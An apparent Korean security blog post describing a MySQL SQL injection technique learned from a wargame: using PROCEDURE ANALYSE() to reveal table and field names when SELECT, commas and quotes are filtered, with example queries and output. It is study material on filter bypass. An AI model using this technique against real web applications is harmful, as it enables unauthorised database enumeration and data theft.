SQL Injection(MySQL) - procedure analyze()
MySQL 에서 발생할 수 있는 특이한 인젝션 기법을 알게 되어서 포스팅 합니다.
워게임 사이트 문제 풀다 알게 된 것이고...어느정도 웹해킹에 대해선 자신있어 했던게 부끄럽네요. ^^;
더욱 열심히 공부해야 겠습니다.
요지는 select 키워드가 필터링 될때, 어떻게 필드명을 알아낼 수 있을까 라는 것에 대한 것입니다.
select 가 필터링 되면 information_schema.tables 나 columns 에서 쿼리를 할 수 없습니다. 이 문제에선
","(콤마) 와 작은 따옴표까지 필터링 되고 있어서 더욱 쉽지 않습니다. 삽질을 좀 하다가 구글링을 통해
mysql 함수중 하나인 procedure analyze() 함수를 알게 되었습니다.
mysql> select id from test where no=1 procedure analyse();
+--------------+-----------+-----------+------------+------------+------------------+-----+
| Field_name | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls |
+--------------+-----------+-----------+------------+------------+------------------+-----+
| test.test.id | admin | admin | 5 | 5 | 0 | 0 |
+--------------+-----------+-----------+------------+------------+------------------+-----+
중요한 것은 테이블,필드명을 모른다고 해도 test.test.id 와 같은 형식으로 출력된 첫번째 필드명을 통해
테이블명을 알 수 있다는 것입니다.
mysql> select id from test where no=1 limit 0,1 procedure analyse(); // 첫째 필드
mysql> select id from test where no=1 limit 1,1 procedure analyse(); // 둘째 필드
mysql> select id from test where no=1 limit 2,1 procedure analyse(); // 셋째 필드
information_schema, union, select 등이 막힌 상황에서 유용할 듯 싶습니다. :)
'Web Hacking' 카테고리의 다른 글
.htaccess 를 활용한 웹쉘 업로드 및 기타 공격 (0) | 2014.02.09 |
---|---|
mysql 우회 기법 정리 (0) | 2014.02.05 |
magic_qoutes_gpc() 우회 / getenv() 로 값을 가져올때의 SQL Injection (0) | 2014.02.03 |
md5 를 raw_input 으로 비교할 시 취약점 (0) | 2014.02.01 |
필드명 sql injection (0) | 2014.02.01 |